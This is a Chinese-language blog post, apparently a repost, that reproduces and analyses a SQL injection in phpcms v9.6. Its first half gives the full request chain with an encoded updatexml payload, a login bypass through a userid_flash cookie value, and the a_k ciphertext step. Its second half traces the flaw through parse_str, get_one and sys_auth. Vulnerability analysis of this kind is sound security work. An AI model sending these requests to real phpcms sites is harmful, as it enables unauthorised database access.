phpcms v9.6 注入漏洞详细分析

  • A+
所属分类:WEB安全

搭建环境,我在本地搭建域名为 www.joke33.com 的测试环境。

打开 burpsuite,进行拦截。

phpcms v9.6 注入漏洞详细分析

打开火狐浏览器,访问有漏洞的网站。

http://www.joke33.com/index.php

phpcms v9.6 注入漏洞详细分析

在 burpsuite 下可以看到拦截到的数据包,然后选择 repeater 进行重放。

修改数据包访问 , 以 GET 方式访问如下 url:

/index.php?m=wap&c=index&a=init&siteid=1

获取一个 cookie 值。

phpcms v9.6 注入漏洞详细分析

修改数据包,以 POST 的方式访问如下 url:

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

传入 userid_flash 变量,变量的值为刚刚获取到的 cookie 的值

userid_flash=5ceb9go-1e01hkQc66J1WS7jTWMYriQh6lODXwUnLIiTZh_k

在数据包头的结尾添加(这一步必须要,要不然复现失败。应该数据包的格式要求)

content-Type:application/x-www-form-urlencoded content-Length:53

提交数据包,回返回一段加密的密文,将这段密文复制下来。

phpcms v9.6 注入漏洞详细分析

/index.php?m=content&c=down&a_k=b2d2BO0WDcSf_BpiZ3UMBtiFx_4FRMv_1Mf35JQNq_ct__4JuWjwgdJjKmtTIZDn5WJBrexM-Nfg7S9J3QwB8U6vrFk3Fti5iJIkK6Gp6B6-ZSZsRKN4emXDpQAEeOD_IzG3kJ8B8ybdHIdytB3yjB7VI8fLm6fojfZOuCMD2iiERJE4aSBOTBM

a_k 的值为上一步返回的那段密文。

提交之后即可成功复现漏洞。

phpcms v9.6 注入漏洞详细分析

我们来分析一下这个漏洞。

我们将漏洞分析分为三个部分:

第一部分

根据最后注入的漏洞 url,跟进到 phpcmsphpcmsmodulescontentdown.php 文件

跟进到 init ( ) 函数,这边的这几行代码是将 $a_k 的值进行解密

phpcms v9.6 注入漏洞详细分析

我们 echo 一下解密后的值

phpcms v9.6 注入漏洞详细分析

现在 $a_k 里面是一个字符串。

程序在后面会使用 parse_str 对每个变量进行赋值。(有些变量覆盖漏洞就是 parse_str 这个函数搞得事情)

phpcms v9.6 注入漏洞详细分析

这里我们分析一下 parse_str 函数,parse_str 函数是将字符串解析成多个变量。

百度了一下,parse_str 的大概格式如下:

parse_str ( "first=value&two=fooz" ) ;

中间有一个 "&" 符号,没有 "&" 符号会出错

所以,我们在进行注入的时候写的注入语句是

&id=%*27   and   updatexml ( 1,concat ( 1, ( user ( ) ) ) ,1 ) #&m=1&f=haha&modelid=2&catid=7&

而不是

id=%*27   and   updatexml ( 1,concat ( 1, ( user ( ) ) ) ,1 ) #&m=1&f=haha&modelid=2&catid=7&

如果没有 "&" 符号,会发现注入的参数会变成空值,那就没有注入漏洞了

经过 parse_str 函数后,id 的值就变成了可注入的值

phpcms v9.6 注入漏洞详细分析

跟进代码的第 26 行,程序直接用 get_one 函数带入有注入的语句进行数据库查询,所以导致了 sql 注入。

phpcms v9.6 注入漏洞详细分析

这边注入点的难点在于,怎么获取有漏洞 $a_k,我们接下来看下怎么获取有漏洞 $a_k 值。

第二部分

跟着漏洞的思路,我们跟进到 phpcmsphpcmsmodulesattachmentattachments.php 文件

来到 241 行

phpcms v9.6 注入漏洞详细分析

发现这个 src 参数有经过 safe_replace ( ) 函数的处理,但是并没有其他的过滤,我们可以拿过来利用。

我们以 get 方式传入有注入的 src 值,传入的参数会被记录到 cookie 的 att_json 里面。

phpcms v9.6 注入漏洞详细分析

这里面还有一个问题。

我们调用的 swfupload_json ( ) 函数是在 attachments 这个类中,这个类有一个构造函数 __construct。

phpcms v9.6 注入漏洞详细分析

我们看到构造函数会判断是否登录。

但是依据第 17 行的代码,我们可以知道,如果我们 POST 一个正常存在的 userid_flash 值,是可以绕过登录判断的。

我们跟进到 sys_auth ( ) 函数

phpcms v9.6 注入漏洞详细分析

该函数是 phpcms 内 cookie 的加密解密函数,所有 cookies 下加密解密都会经过这个函数。

swfupload_json ( ) 函数调用的是 sys_auth ( ) 的 DECODE 方式,也就是解密方式,我们可以找到一个调用的是 sys_auth ( ) 的 ENECODE 方式的函数就能绕过了。

第三部分

我们跟进到 phpcmsphpcmsmoduleswapindex.php 文件

看下这个构造函数

phpcms v9.6 注入漏洞详细分析

跟进到 set_cookie ( ) 函数

phpcms v9.6 注入漏洞详细分析

我们可以看到,set_cookie ( ) 这边调用了 sys_auth ( ) 并且是 ENCODE 方式,并且计算出来的值保存在 cookie 里面,我们是可以获取到的。

那我们就可以拿过来用了,到这边我们就可以绕过登录限制了。

from http://www.myzaker.com/article/591163e41bc8e05833000019/

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: